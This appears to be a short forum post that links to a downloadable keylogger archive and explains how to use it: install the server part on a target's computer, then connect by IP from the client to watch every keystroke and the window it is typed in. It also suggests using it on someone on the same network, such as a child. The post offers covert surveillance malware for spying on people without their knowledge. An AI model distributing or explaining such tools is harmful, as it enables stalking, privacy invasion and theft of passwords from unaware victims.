http://gfy.webspacemania.com/keylogger.zip
theres 2 programs , the stb is the program you run on targets computer.. you run the client to spy .. when you open the client simply enter the ip of the computer your spying on and hit connect then start logging . you will see everything they type and what window they type it in..
*p.s. you can use this on someone on the same network too like if your kids computer is in the other room.